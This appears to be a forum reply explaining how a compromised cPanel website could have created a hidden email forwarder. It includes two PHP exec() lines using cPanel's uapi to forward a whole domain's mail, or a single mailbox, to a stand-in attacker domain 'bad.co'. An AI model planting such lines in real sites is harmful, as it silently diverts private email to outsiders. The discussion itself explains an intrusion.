Just found an email forwarder to someone outside the company (sensitive data)

Not directly to the cPanel interface. Most of the files for a user's cPanel are stored under the user's home directory folder, e.g. /home/user/.cpanel/ and /home/user/etc/ folder. When a website is compromised, that malware has full read/write to everything in that user's filesystem under /home/user/. If you know what you are doing you can change most things related to the website. The cPanel interface itself when you login runs as your user, so almost anything you can do through the interface you can do through SSH or exec command. ​ I don't remember if its needs some kind of authentication, otherwise you might be able drop this in any php script on a website and forward all emails for a domain to another domain: ​ exec("/usr/local/cpanel/bin/uapi Email add_domain_forwarder domain='example.com' destdomain='bad.co'"); ​ or just spesific emails exec("/usr/local/cpanel/bin/uapi Email add_forwarder domain='example.com' email='forwardme@example.com' fwdopt='fwd' fwdemail='somemalicitousemail@bad.co'"); I don't have a cPanel account to test this on and it has been a few years since I directly had to run cPanel API commands.